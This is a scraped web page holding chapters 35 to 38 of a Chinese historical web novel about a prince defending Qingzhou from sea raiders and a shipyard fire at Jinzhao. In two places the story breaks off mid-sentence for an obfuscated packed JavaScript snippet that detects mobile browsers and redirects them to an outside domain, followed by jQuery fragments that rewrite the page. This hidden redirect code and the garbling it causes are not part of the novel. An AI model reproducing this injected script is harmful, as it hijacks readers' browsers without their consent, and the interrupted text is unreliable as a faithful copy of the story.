“不对劲。”郁见深皱眉,太容易了,就这样一群人怎么可能将昭武将军都败于此的?他们打算连夜审问抓捕的海寇。 此时俞修衡已经在赋思的伺候下梳洗了一番,伤处已经上了药,除了面色依旧苍白,其余都似乎与往日没什么两样。 他看向伺立在一旁的赋思,问:“是你向郁先生他们报的信?” 赋思回答:“回殿下,也不是。赋思当时并不知道郁先生已经回了青州,只是得了钱管家的令,前往那个小宅子布置顺便出府求救,谁知在路上遇见了郁先生。” 俞修衡淡淡应了一声,“嗯,辛苦你了。” 赋思摇头连称不敢。 俞修衡走出沧澜阁,去往中堂,谁知出门便看见了那一身黑衣的暗轮守在门外,脸上蒙着黑巾,只留下一双刺骨的眼睛。俞修衡还记得他对上关珏时那股阴冷的气息,所以并没有和他说话,和他眼神对上半秒后便速速移开。 郁见深站在堂前等候多时,见俞修衡走来立刻迎了上去,“殿下。” “进去说吧。” 一行人走进厅内,俞修衡问:“郁先生,玄月门这杀手怎么回事?” 郁见深回答:“只是年轻时候的人情罢了,当时玄月门还是江湖上不见经传的小门派,他们门主在一次偶然中被我所救,这次周陵雇他们时,门主便和我通了信,我也正好将计就计,算是他的还恩吧。”其实郁见深年轻时并没有想过要玄月门什么报答,毕竟自己身处朝堂,如果将一个江湖门派牵扯进政治里,只会给他们带来灭顶之灾,这次也是万不得已。 “可这次周陵死后,俞修寰绝不会放过玄月门。”俞修衡也看透了这一点,江湖中人一般不会想和朝廷有任何干系。 “这个殿下放心,他们玄月门的规矩,雇他们暗杀,事成则已,事不成则杀手死,赏金退一半,今夜之后江湖上不会再有暗轮了,他将脱离玄月门侍奉殿下左右。”郁见深解释。 “可我已有关珏。” “不够。”郁见深凝视着他,“殿下,只有关珏一人不够,连周陵都想得到专门找人牵制关珏,以后您的安危只会越来越重要。” 俞修衡只好作罢,俞修寰如今登上太子之位,像今日这种刺杀不会少的,他不会留我在这世上,而自己如今又太想好好的活。 “那荣狄军?”俞修衡又问,“大皇子一直游离在朝堂争斗之外,他为什么会突然借兵给我?” “单纯一场交易,我用十万斤粮草换他八千军队驻守青州一个月,他没理由不答应。” “可你哪儿来的粮草?” “是淮南道观察使邓行闻的手笔,他如今是我们的人。” “那一个月之后?” “一个月之后,事情自有转机。”俞修衡抬眼对上郁见深的双眸,他淡然的笑了一下,眼角微弯,里面装满了让人安心的神思。 这时一名荣狄军官在堂外请求通禀。 俞修衡点头让他进来,只见那名军官不卑不亢上前行礼,朗声汇报:“拜见渊王殿下,小人乃是郢王帐下成武军二营都尉胡昌,禀王爷,此次海寇上岸人数约莫九百人,乘船三艘,斩杀五百余人,活捉十二人,其余海寇乘船而逃。现在要将他们带上来嘛?” “嗯,看看吧。” 35.僵持 第三十五章 十二名海寇,跪在厅内满满当当。 俞修衡还在打量这些人的外貌和穿着,一旁的胡昌已经开始问话了,“堂下之人报上名来,所居何地?首领是谁?” 堂下一片静默,无一人答话。 胡昌走过去,一脚踹在一名海寇身上,又用刀鞘大力拍在头上,压得那人眼睛瞬间充血,“说话!要不然少不了吃苦头。” 那人唇齿微张,嘴里已被鲜血噙满,他恶狠狠地对上胡昌的眼睛,“哼,你们也配知道我们首领是谁?我们一个字也不会说的。” 胡昌又用膝盖抵在那人的脖颈处,“不怕死?” “我们朗源没有一个人是怕死的,有什么手段尽管使出来,何将军定会为我们报仇!”那人喘着粗气,大声说道。 胡昌还想再打,被郁见深阻止,“好了,胡都尉。带下去吧,如果这就能问出来,青州之患早就解决了。” 胡昌领命将这一干人等全部带了下去。 厅内之人所剩只有王府几人,月上中天,周围一片沉静。 “郁先生,今日海寇一事你怎么看。”俞修衡问。 郁见深也是一直在思索,听见俞修衡的问话,便将自己的想法说了出来,“今日海寇登岸全在意料之外,他们随身的武器还行,但身手就差了许多,应该不是海寇主力,或许只是知晓如今青州落魄,而随意派遣的新兵吧。而且这次一共就来了三艘船,九百余人,太少了,有人看见他们乘坐的船只吗?” “没有,海上起了大雾。我们赶到海边的时候,他们已经在夜色中走远了。”关珏说。 郁见深收到回答,眉头紧锁,“他们过几日定会再来。” “救人?”关珏问。 “不,绝不会是救人。逃回船上的海寇已经有了城内的消息,按照他们的性格,不会想要对上东洲的军队,但他们绝对舍不得青州这座城,要不然也不会十年来频频侵扰。” “那他们来做什么?” “当然是像从前一样,激怒我们,然后诱导我们入海,再将我们一网打尽。从张大人那了解到的信息里,没有海寇在岸上与军队拼杀的消息,或许他们知道对上东洲的军队没有一丝胜算,但大海是他们的主场,如果我们入海只会中了他们的圈套。“郁见深分析道。 “今天见了这群海寇,至少知道了三点有用的信息。第一,他们的队伍良莠不齐;第二,我们已经在青州待了小半年,但他们似乎并不知情,所以他们所在之地定然消息闭塞,如果没有必要,不会上岸。所以那朗源岛的位置定然十分遥远,轻易找寻不到;第三,我猜他们海上作战能力应该很强,而且一定有别的武器,要不然不会压制青州城那么久的时间。” “还有第四,他们不是东洲人。”俞修衡补充道,“他们说话的口音和肤色绝不是东洲人。” 郁见深接过他的话,继续道:“青州三面环海,只有北上接壤突厥。但突厥可全是草原,结合那群海盗透露出的讯息,那便只有一种可能了。” “海的对面也许是另一个全新的国家。” * 深夜,俞修衡回了沧澜阁,今日经历了太多事,按理说他现在应该极度困乏,但他坐在书案前,却没有一丝睡意。 “殿下,郁先生求见。”赋思在一旁通禀。 “嗯,请先生进来。”顿了一下又对赋思道:“赋思,你先去休息吧,这里不用你伺候了。” 赋思点头下去后,郁见深走了进来,身旁跟着暗轮。 “殿下。”郁见深拱手行礼,暗轮站在一旁没动,浑身笼罩在一片墨里,神秘、强大。 俞修衡将身体坐直,看向郁见深,“郁先生坐吧,正好我也还有些事想问你。” “殿下请问。” 俞修衡沉静片刻,开口问道:“绾宁在晋照还好吗?”他有些想念她。 郁见深微笑着回答:“方姑娘很好,我走时听闻她还在学骑马。” 俞修衡听完忍不住嘴角上扬,“是吗,那很好。” 须臾,又问:“那郁先生深夜前来是为何事?” “两件事,第一件,关于暗轮的。”郁见深侧身朝旁边的人看去。 话音刚落,俞修衡便见一直沉寂在旁的暗轮伸手摘下了面巾,和裹住头发的黑布,露出一张清丽的脸和一头乌黑的长发。 “玄月门天字榜第三位,暗轮,拜见渊王殿下。”暗轮单膝跪地,双手抱拳行了一个江湖中人的礼节。 俞修衡晃神,随即夸赞道:“原来那么厉害的杀手居然是女子,真了不起。” 郁见深说:“从天亮起,这世间再没有暗轮这个人,殿下可以给为她赐一个名字,从此随侍您左右。” 俞修衡听完,并没有立马赐名,他看向下首的那个人,问她:“你想叫什么?你可以给自己取一个满意的名字。” 暗轮抬眼看向俞修衡,坐在椅子上的是个非常弱的男人,她觉得她现在暴起抽刀,能在三息之内割断他的喉咙。但又不行,这个人往后一生都会是自己效忠的对象了。 玄月门入门时便会服用一种毒药,每年会发一次解药,不吃就会死,直到终老。但哪儿有什么终老,门中没有一个人是老死的,要么死在暗杀途中,要么死在寻仇的刀下。就算叛出门中,也只有一年的活头,门中之人笑称,这是门主最大的慈悲。 况且对于暗轮来说,有没有这种牵制其实没那么重要,她自五岁入门除了杀人也不会别的,门主这次给自己的任务有点奇怪,可好像也不坏,至少不用遮脸了,刚才在厅中瞧见那叫赋思的婢女穿的还挺好看的,以后自己的身份应该跟她差不多吧,也挺好,那裙子好看。 “就叫兰花吧。” “这是你最喜欢的花?” “不,我第一次杀的人,他女儿就叫兰花,我听他唤过,我觉得挺好听的。” “……” 俞修衡叹了一口气,没有理会她的话,“好吧,兰花,以后你就不是玄月门的杀手了,和赋思一样,是我的婢女,起来吧。” 兰花站了起来,眼睛亮亮的,好像是真的很满意这个新名字。 俞修衡将目光移向郁见深,“那第二件事,是什么?我猜是大炮,对不对?” 郁见深勾唇轻笑,“殿下猜对了,所以殿下也有这个意思?” 俞修衡点头,“俞修寰的心思,如今已经昭然若揭了,而父皇也似乎并不在乎我,那我还有什么值得好担忧的呢,况且这已经不仅仅是普通的海寇袭扰,这可能是另一个国家对我东洲国土的侵犯,有了大炮,我们的胜算才会更大。” 保不住青州,他就没办法给绾宁一个安宁的家园,她一定又想往外跑,她不能再如此了,留他一个人在这儿。 俞修衡从一旁的书箱里拿出那份图稿,交给郁见深,“拿去吧,郁先生,我们需要一个强有力的武器,替我们冲开前路所有的阻碍。” * 俞修衡那宅子才是真的买对了,最近王府众人也不回内城了,全在那二进的小院子里打转,谁让那阁楼恰到好处,能看见青州的海岸呢。 昨夜海寇来袭,却轻而易举地被扫清,百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740442|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姓仿佛又重新有了希望,最近俞修衡的募兵可算大有进展。 “王爷,东城临海的百姓全都疏散进内城了,岸边的防御工事也布置完毕。”关珏在身后汇报。 “嗯,海岸线上必须派人全天十二个时辰巡逻,如有异动立即敲钟,然后挨家挨户去让青州的百姓学会自主灭火和逃生求救技能,让他们不要恐慌,一切都在往好的方向行进着。”两人站在阁楼上眺望着大海。 “是,王爷。” “那十二个俘虏怎么样了?”俞修衡又问。 “用了些刑,但没得到有用的消息。” “别用刑了,留着吧,别让他们死了,还有用处呢。” 突然楼下传来一阵吵闹,俞修衡问,“什么情况?” “是那个老渔夫,闹腾着,非要回他岸边的小屋。”关珏回答。 俞修衡拧眉,“没告诉他海寇即将来袭吗?” “说了,但他说让我们不用管他,他能应付。” 俞修衡无奈摇头,“想办法让他留在这。” 突然,楼下的吵闹声停止了。俞修衡疑惑,将头探出窗外就看见杨老伯倒在了地上。 “怎么回事?“ 赋思赶紧回答:“回王爷,是兰花姑娘打晕了杨老伯。” “……” “这是最有效的办法。”兰花摊手回答着话,她身穿一身蓝色裙装,声音有点沙,但还算好听。 俞修衡扶额苦笑,“好吧,下次别那么干了。”看来以后得想些办法让她别那么冲动,习武之人的一掌,杨老伯能受得住? 关珏在一旁支支吾吾,俞修衡瞥见,便问他:“你想说什么?” “那个……兰花,以后就留这儿了?”关珏问得小心翼翼。 “嗯,她在身边守着,你就好出去帮我办事。”俞修衡回答。 关珏听后讶然,抱着剑默不作声。 * 半个月后,那群海盗果然来袭。 他们将船停在近海,凭借他们弓箭的超远射程,向青州城□□出火弩。但这对现在的青州根本不起作用,他们射程内的民居全都搬空了,着火了也不怕,有一条防火线守着火势不往内城蔓延,而海寇们的火弩也不是无穷尽的。 他们放完了火弩想靠岸,岸边自有军队在等着,再送还给他们一波箭雨,将他们又赶回海上。还将那十二名俘虏绑在海岸边,他们敢前进一步,就往他们身上割一刀,俘虏的惨叫听在那群海寇耳里,只觉得怒火中烧。 “冲啊!上岸,救回他们,青州的狗官不是人!” “是啊!上岸去!杀光他们!” “冲!……” 而岸上则就是成武军的地盘了,杀几个贼寇简直是手到擒来。只要他们敢上岸,定让他们有来无回。 海寇损失了一大票人,而他们吃了这回教训,第二次就谨慎多了。直接在海上叫骂,不过离得太远,青州的兵其实也没咋听清,拿着弓箭就对准他们,只要敢踏上土地,就射穿他们的心脏。 其间海寇还发射了一种特殊的弩箭,射程比之前的还要远二十丈,落地之后还会爆炸,那一次给内城造成了巨大损失,但,那种武器,海寇们只发射了五箭便熄了火。 俞修衡远远在楼上还瞧着,那些船上竟突然起了火。 一头雾水。那些海寇狠起来自己都烧? 之后海寇便又恢复到挑衅阶段,但青州的军队在俞修衡的嘱咐下,并没有过多理会。 这下两队人马彻底僵持了起来,青州的人等着他们上岸,而海寇等着他们下海。 36.侍从 第三十六章 周陵失败的消息传回应京,此时俞修寰已在旭阳宫的正殿中坐稳了。 “什么,全灭?”俞修寰大怒,拿起手中的茶杯就往地上砸,“废物,这点事都办不好。” 那茶杯堪堪擦过姜简的耳畔,心里一阵打鼓,连忙跪下,“殿下息怒,这次不行还有第二次,不过损失了一个江湖谋士,愿为殿下手中刀者,何止他区一个周陵。” 俞修寰垂目看着桌上的信笺,眼神微眯,“对,他手底下能有几人,我如今可是太子,身后站着整个皇城卫。” 他掏出皇城卫的虎符,对姜简说道:“这次,交给你去办,打着送冬衣的旗号去青州,这次他如若再敢动手,就是和应京作对,可直接调遣就近的荣狄军,平了他的青州。” “是,殿下。微臣此次定幸不辱命。”姜简上前接过虎符。 此时殿外,许征正快步走来。 “不好,殿下。青州动不了了。” 殿内二人皆怔忡,望向许征,面露不悦,俞修寰问:“发生何事?” 许征喘匀了气,便解释道:“适才,下官正在宣政殿伴驾,陛下收到了平西江宣延大将军的信,说要明年亲自去往青州,为渊王殿下主持冠礼,陛下已经答应了,稍后便会下旨。” “江宣延。”俞修寰抿着这个名字。 姜简出声问道:“不是说这江宣延和太傅已经决裂?此时怎么会突然要去主持渊王的冠礼?” “毕竟是他舅舅,打断骨头连着筋呢。”许征瞧了瞧俞修寰的脸色,赫然开口:“既然一击不中,便失了先机,殿下,咱们只能待日后再找合适的机会了。” 姜简摸着手里还没焐热的虎符,见状也只有交还,“这消息着实令人意外。” “去查,十几年不见这江宣延理会过应京,今儿却突然来了这样一封奏章,背后不可能没有人推波助澜。”俞修寰拧眉。 多好的机会,就这样悄悄溜走了,俞修寰不甘心。 “据之前探子来报,郁见深在晋照的船坞造船?”他又问。 姜简连忙正身回答:“是的,殿下,就在晋照东城,一处名叫水沽的船坞。” 俞修寰嘴角勾起一个冷笑,“既然烧不了他的青州,就让他的船失把火吧,他不是要打海寇嘛,就让他无船下水。” “遵命,太子殿下。”姜简嬉笑着答应。 许征也附和着笑,可眼底是一片不耐的烦躁。 天气越来越冷了,青州还是没有信来。 方绾宁也遣人去了青州打探消息,但至今未归,每天忧心得她食睡不稳。 尽管王霄再三安抚,绝不会出什么事端,但方绾宁的心还是悬吊吊的,一直在胡思乱想,想立马赶去青州看看俞修衡到底出没出事,又不能放下正在建的战船。 既然自己能穿越,那暂且信一回那怪力乱神吧,如果这世间真的有神明,或者魔鬼也成,保佑自己的同族,平安顺遂,逢凶化吉。 “方执事,蒋公子来了。”文晓在门帘外低声说。 “嗯,还是让他去偏厅等我吧。”方绾宁收回神思。 那晚之后,蒋时彦便没在秦梦楼当乐师了,许是听进了方绾宁的话,反正自从天冷之后,他便每日下午,上门教琴。 方绾宁走进偏厅,蒋时彦已经在琴桌前,拿着琴谱看了好一会儿。 “蒋公子,真准时。”方绾宁和他打招呼。 蒋时彦暂且放下了琴谱,起身迎她,“收了方公子的学费,还是得勤恳些。” 方绾宁坐下,双手放在琴上,“今天该学什么了?” “不急,先请方公子将昨日教的曲子复弹一遍吧。”蒋时彦的声音不急不缓。 方绾宁听后,也乖巧,心里细细想了昨日的曲调,在琴上徐徐勾弦。 是首很简单的小调,一只手便可完成,但曲毕收势后,蒋时彦却不甚满意,露出他的真面目来。 “要不是我亲眼看见,是方公子坐在这抚琴,我还以为是鸡爪呢。” 毒舌本性,每次都能气得她呕出二两血。但除了这一点,蒋时彦的严厉和一丝不苟,让方绾宁这段时间的琴技突飞猛进。 方绾宁针对这类刻薄语调,大部分还是忍下了,当没听见,老师嘛,遇见笨学生时心里急躁,很正常。 可今天方绾宁心里也不漂亮,便直直地怼了回去。 “幸亏是文晓亲自迎进来的,要不然我也还以为是条披着人皮的毒蛇呢。”方绾宁为表态度,露出一个暗讽的笑。 蒋时彦听后也不急眼,盯着方绾宁也扯出一个笑,“不装了?” 方绾宁怒目,“谁装了。” “你这两天学琴,手是还在弦上摸着,心却不在这儿,你整天在忧些什么?”蒋时彦问。 方绾宁似被人戳中心思,脸上的笑意一下子垮了下来,“我忧心些什么,还是不劳你费心,蒋公子还是担心担心自个儿吧,现在你没了秦梦楼的活计,靠我给你们家那点学费,能撑到来年春天嘛?” 蒋时彦失望,抚着面前古琴上的徽位,面露苦恼,“哎,没套出方公子的心事,倒是被你戳到了痛处。”他抬眼看向方绾宁,眼里转着光,“方公子大方,这几日我勤勉教琴,你不打算给点赏?” 啐,不要脸。 “我道是蒋公子心里自有成算,原来是想在我身上讨些便宜。”方绾宁对上他的眼睛。 “也别说得那么难听,我最近确实也在找其他活计,但都不如意,方公子您也知道,我身无长物,只会些乐器,能去当乐师的地方我不会再去,可我瞧得上的地方,又瞧不上我,哎哎,真是可怜。” “你想我帮你?” 屋外的天气似有变化,起了薄雾,晚间也许会有雨,温度又冷了几分。 文晓体贴地烧了一壶热茶,正准备倒一杯递给方绾宁,却被蒋时彦接过了手,“我来,我来,文晓姑娘辛苦。” 方绾宁愕然,这态度怎么转变那么快,她向文晓使了个眼神,文晓便知趣地退到一旁了。 “方公子,请。”这杯热茶递到方绾宁眼前,蒋时彦的声音听起来有点黏糊糊。 方绾宁接过,没喝,眼神打量着他,“说吧,别端着这种样式,怪瘆人的,我能帮到你的,自然会帮。” “你肯定能帮,你先答应。” “你先说说看。” “你先答应,对你来说绝对是轻而易举,不费吹灰。” “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765337|154004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒋时彦盯着方绾宁的眼睛,尽量露出真诚的神色。 方绾宁思索半晌,这家伙搞什么幺蛾子? “行吧,我答应你,但要是这件事损伤他人利益,我可不帮。” 蒋时彦哈哈笑,“不会,不会,我就是想在你身边谋职,你看你身边成天就跟着俩人,人数最多不超过六个,还都是武将,所以,我自荐个职位,跟在你身边当个贴身侍从就行,月钱你按市场价最高发给我就行。” 方绾宁登时就将茶杯推还给他,“你当我是少爷啊,还侍从,还贴身,你想得挺美。” “你刚才明明答应了,这又不损伤他人利益,你不能反悔。“蒋时彦又把那杯茶塞回方绾宁手里。 “这损伤我的利益了,我要个侍从干嘛,没那么多事儿要办,你要是任职了,整天跟着我能闲出病来,而且,你能不能要点脸,月钱还想要最高的,我直接给你银子不更简单。” 蒋时彦叹息道:“人啊,还是不能不劳而获,况且,你是现在没事儿干,以后你长大了肯定会被委以重任的,我能帮你。” “你帮我弹琴加油?” “……你事先答应的,怎么能反悔,还堂堂王府参知执事,说话跟放屁。”蒋时彦瞥了她一眼。 喂!喂!是你在求我办事,不要本末倒置啊! 方绾宁被激得口干舌燥,木然端起手里的茶喝了一口。 “哎!你喝了我的茶,就是答应了。”蒋时彦突然起身,像是怕她反悔,急忙逃向屋外,“明儿我就来报到,记得给我准备第一个月的月钱!” 说完,一溜烟儿的走远了,留下方绾宁还在屋里,无言以对。 她现在把那口茶吐出来,还来得及嘛…… 方绾宁呼了一口肺里的空气,慢慢将茶杯放下,看向文晓,问,“刚才那事,我能做主嘛?” “全凭方执事喜恶,他是男子,只要不进内室,倒是无碍。”文晓答。 方绾宁点头,紧了紧衣衫,天气真的越来越冷了。 第二天,蒋时彦一早便来准时点卯,但方绾宁此时还在床上睡懒觉。 蒋时彦也被文晓拦在了房门外,他只好在门外喊,“方执事,你就算未起,我也是到职了,可不能扣我工钱啊!” 屋内的方绾宁也不理他,蒙上被子又睡了去。 自从蒋时彦来方绾宁身边当那所谓的”贴身侍从“后,方绾宁的日子形容起来简直就是四个字,鸡飞狗跳,真是受够了蒋时彦无时无刻的向上管理。 “方执事,你每天起那么晚,王爷交代的事你能办成嘛。” “方执事,你真的才十四?那马整日吃草都长得比你快,可要少挑些食啊。” “方执事,你的字,啧啧,可惜了那么好的字帖。” “方执事,你去船坞怎么不带上我?可是嫌我无知?” “方执事……” “方执事……” 谁来堵上蒋时彦这张嘴! 终于有一天。 “你明天不用过来了,给你放假。” 蒋时彦刚想张嘴,方绾宁紧接着说:“不扣你工钱。” “那行!” 就这样,方绾宁终于清静了几天,也等来了青州的回信。 37.大火 第三十七章 绾宁亲启: 抱歉这封信迟了,让你忧心。 只是信使路上遇了大雨,沾湿了信笺,才来回多跑了一趟,你的问信我也收到了,万事无忧,别挂心,好好待在晋照。 然后又是几篇他的日常,写得很暖,方绾宁终于松了一口气。 没事就好,或许有事也已经解决了,她看完,也马不停蹄地给他回了信。 心里还是有点想炫耀自己如今的这笔字,方绾宁写得格外认真。 洋洋洒洒写满了好几张纸,从北同巷的学琴到那匹叫“高德”的小红马,从舞坊的初海姑娘到前几日新聘的蒋时彦,说了水沽的船舶进度,临末还唠叨了最近天气骤降,实在令人爬不起床。 小川,我刚穿过来的时候正入冬,如今数着日子也快一年了。郁先生不在,整个院子都好空,每日醒来我都会愣好久的神,窗外的树叶也落得厉害,最近晋照城老是下雨,灰蒙蒙的天气让我更不想出门。 我好想家,但你知道的,我说的不是怀远,也不是另一个时空,是此间人世里的,同族的身旁。 我不想要热闹了,我想回青州。 方绾宁写完回信,又瘫坐在椅子里好一会儿。 等到屋外的光渐渐往下沉的时候,才总算打起精神出了屋。 “走,文晓,咱们下馆子去!” 都昌大街,福满楼。 方绾宁点了一大桌子菜,还叫上了蒋时彦一家。 半拉半拽的好不容易说着让文晓坐下一起吃饭,可王霄这厮说什么也不愿意和他们一起,又怕扰了众人的好心情,便走得远远地护卫。 方绾宁也无奈,没再管他。 “小二,上壶酒!”蒋时彦倒是没把自己当下属,他随性得厉害。 随即斟满一杯酒,放在方绾宁手边。 文晓赶紧悄声对她说,“方执事,你可不能喝。” 额。 “……那就这一杯。”方绾宁打哈哈。 一旁的蒋伯举着酒杯,起身要敬她,“方公子,承蒙您照顾,才让我们这一家子的日子,第一次过得那么舒坦。” “是啊,最近我哥回家总给我买糖葫芦,之前都老是骗我说他忘了,方公子,您真好。真想让我哥在你身边当一辈子差。”蒋时月也站起身说道。 还一辈子?饶了我吧,你哥天天烦得不行,也就我这种老板能忍了。 “一辈子?我疯了我,我又没卖给他。”蒋时彦也举着酒杯,嘴硬之后一口干了。 方绾宁哭笑不得,但也没有推辞他们的酒,受了他们的意,也端着杯子,抿了一口。“见谅,我酒量太差。” “多喝酒,量才能起来啊。” 方绾宁道:“但我一杯就倒,这杯过后,我还是和时月一样,喝茶吧。” 说完方绾宁给时月夹了一筷子鱼肉,得了小姑娘一个笑脸,她也跟着心情不错。 其实就俩人的年纪,方绾宁也比蒋时月大不了多少,但蒋时彦还会给自家妹妹带零嘴,却不会真的把方绾宁当小孩子,她所展现出来的气质或者说气势,总会让蒋时彦不自觉得挺直腰背,拿出正经的一面去和她打交道,尽管他老是嘴碎,但丝毫没有不敬重她的意思。 酒快见底,蒋时彦也有些晕了,他起身挤过自家妹妹的位置,坐在方绾宁左手边,盯着她瞧。 “方执事,你看不起我,你酒杯里还剩一半没喝呢。” 方绾宁道:“我本答应过人,不喝酒的,饮了半杯已经是极限。”不能一而再再而三的,打破她和小川之间的约定啊。她淡定地吃菜。 “什么不喝酒,男人怎么能不喝点酒?” 瞅着蒋时彦泛红的脸,猜他现在肯定不怎么清醒,邪恶一笑,岔开话题,“蒋公子酒量那么好,该去酒馆当品酒童子,怎么死皮赖脸要当我随从?” “谁让你是好人呢。”蒋时彦又饮下一杯酒,双眼惺忪地看着她,“人好,爱管闲事,钱多,还不爱端架子,就赖上你了,” “就见我好欺负呗?”方绾宁没好气的嘟囔。 “嘿嘿…谁让你害我丢了秦梦楼的差事。” 方绾宁没想到他倒打一耙,“是我害你?” 蒋时彦道:“那可不是,就你那一番话,我要是再去秦梦楼吹曲,那我就是畜生不如了。” “你只是心疼时月,我明白的。” “你既然明白,那我赖上你,你还有意见?” 方绾宁苦笑,“可不敢有,有蒋公子指导我学琴,是我荣幸。” 蒋时彦眼睛耷拉着,一手撑着下巴,声音越渐微弱。“哼,你知道就好……” 说完,蒋时彦就这样闭上眼睛,或许是真的醉了。 方绾宁摇头,拿了一个空盘子夹了些菜,走出门去找王霄。 见他正站在窗前吹风,她走过去,关了一扇窗。 “这个时节的风太冷了,注意防寒。” 王霄转身,拱手行了一礼,“方执事。” “嗯。”方绾宁轻轻地应了,将手里的盘子递给他,“吃点吧,你不愿意进来和我们一道,也不能就这样饿着。” 王霄也没有再扭捏,夹起盘子里的牛肉就放嘴里嚼,没一会儿工夫,盘子就空了。 方绾宁连忙说:“我去让小二给你上桌菜吧。” “不用,你们应该快结束了吧,还是回兰苑。”王霄道。 “好,那我进去扶蒋时彦,他喝醉了。” 王霄听后道:“还是我去吧。” 夜晚的风凉得过分,一行人纷纷紧了衣衫。街道上的人已经不多,只有酒肆和舞坊妓馆的灯笼还亮着。 王霄搀着蒋时彦走出酒楼,准备将他扶上马车。却听见方绾宁在背后一语。 “王霄,那个方向,是什么地方?” 王霄回过头,朝着方绾宁的视线看去,只见本是阴沉漆黑的天幕下,竟然呈现一片刺眼的红,还伴随着滚滚浓烟。 是大火。 王霄皱眉,又细细想了那处方位,脑海里登时一个冷战。 “是水沽!”王霄和方绾宁齐齐喊道。 此时也顾不上那么多了,王霄将蒋时彦大力扔上马车,猛烈的撞击让蒋时彦闷哼一声。 方绾宁也回身快步向楼里走去,“掌柜!快牵两匹你们楼里的快马!”说着掏出怀里的碎银子扔给他。 掌柜见了银钱也不含糊,立马命小二去牵马。 方绾宁近日骑术也颇有进展,尽管楼里的马身形高大,还是让她轻松地上了去,她向文晓交代,“文晓,你留在这,送蒋伯一家回北同巷。” 文晓:“遵命,方执事。” 又向王霄说道:“王霄,麻烦你前去观察使邓大人府上,将此事告知,让他速来!” 语毕,方绾宁捏住缰绳,大喝一声:“驾!”,匆匆往水沽赶去。 王霄得令后也速速离开了楼前。 一切发生得太快,蒋时月还没回过神来,就走了两人。她余光瞥见马车上还在醉着的亲哥,忽然没由来的一怒,从楼里提来一壶茶就那么浇在自己哥哥头上,“哥!别睡了,快起来干活!再不起来,方公子就要扣你工钱了!” 蒋时彦被冷茶一激,顿时醒了大半,“扣工钱?别啊……” 方绾宁越近水沽,那通天的红越醒目。心里犹如战鼓,一直“咚咚”响个不停,脑子也一阵阵发炫。 她赶紧深吸一口气,让夜里的寒风带走浑身的惊悸。 方绾宁到的时候,水沽已经燃了近一个 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“那可是我们青州的船啊,我父亲定会对我失望至极,我今日怎么没多巡几遍船坞,我该死,该死……”他此刻陷进巨大的悲伤和自责里。 方绾宁也不能把时间浪费在安抚他身上,她大力晃了晃他的身体,大声唤他的名字:“张渠!振作,青州的百姓还在等着我们的船回去打海寇呢,船烧了咱们再造,但你的心不能就这么死了!”方绾宁戳着他的胸口,“清醒点!快清点些人,跟我一起将火势控制住,不要让它再烧了周围的民居。” 张渠木然盯了她一会儿,收了声,将情绪压下去,“好,方执事,你跟我来。” 张渠将水沽里官兵和工匠师傅们聚了起来,在方绾宁的指挥下,开始用泥沙,土渣灭火,还在周围设了防火带,正忙着,王霄带着邓大人也来了,邓大人还带来了潜火兵,火势控制得快了不少。 直到快天亮时,终于把大火扑灭了。 但并没有灾后的欢呼,整个水沽的人都默契地没说话,众人都瘫在地上,不少人还在默默抽泣,毕竟将近四个月的建造,大家都投入了大量心血。 如今心血变成了焦炭,偌大的船坞盛满了灰烬。 蒋时彦昨晚迟一些的时候,也到了水沽帮忙救火,忙了一晚上也是满脸疲惫。他见身前的方绾宁一身脱力的样子,还坚持守在这儿,瘦小的臂膀微颤,似乎在哽咽,他心里有几分酸涩,忍不住走上前想安慰她。 “蒋时彦,你现在敢说些什么烂话,明天就别出现在我眼前。”方绾宁侧脸对他说道。 听到这话,他顿住了脚。 我没想耍嘴皮子,我只是想去拍拍你的肩。蒋时彦在心里念叨。 此时还有余灰飘在空中,天气朦朦胧胧的,让方绾宁有点喘不过气。 “方执事。” 有人叫她,她转身回头看去,是邓行闻。 方绾宁收拾情绪,行礼,“邓大人。” “忙活一晚上了,快回去休息吧,剩下的我来处理就行。”说完又唤来了王霄,“送方执事回去。” 方绾宁崩了一整夜的情绪终于在走出水沽的时候垮掉,就算重新建造一艘新船,前前后后又得花掉大半年,耗时费钱,青州的百姓如何等得起。 愧疚,自责,怨恨,乱七八糟的情绪让方绾宁走路都趔趄。 她三次蹬上马背都滑了下来,第四次快滑下来的时候被王霄一把扶住,“方执事,小心。” 方绾宁本想朝他笑一笑,但脸僵在那根本笑不出来,她只能深深望了他一眼。 坐上了马背,朝着跟来的蒋时彦说道:“回吧,这几天不用来兰苑,工钱照发。” 说完,驾着马走远了。 38.虚惊 第三十八章 方绾宁回了兰苑直接倒头睡去,醒来已经又是晚上,她看着窗外的夜色,像是天从没有亮起来一样。 她捂着心口,一阵难以言喻的孤独感唰地涌上来。她还记得在青州时的豪言壮语,城门前的嘱托,和想与小川一起安定封地的愿望。 就这么烧了,她暂时没办法从这种负疚里出来,尽管这场火跟她半毛钱关系都没有,但就是没由来的,甚至觉得这把火还不如就是自己放的。 她睁着眼睛又躺倒在床上,直到天明。 之后好几天,方绾宁雷打不动地去水沽,帮助大火后重建,清点损失,安抚工匠,调查失火起因。 水沽里的船坞共计十八个,青州在建船舶共占了十二个,这场大火直接烧了九个,一点灰都不给剩,全没了。其间堆积的各类材料也烧得七七八八,管理处离建造处的水塘相距有点远,并未起火,图纸保存得很好,重新开头的话,又是一大笔银子的消耗。 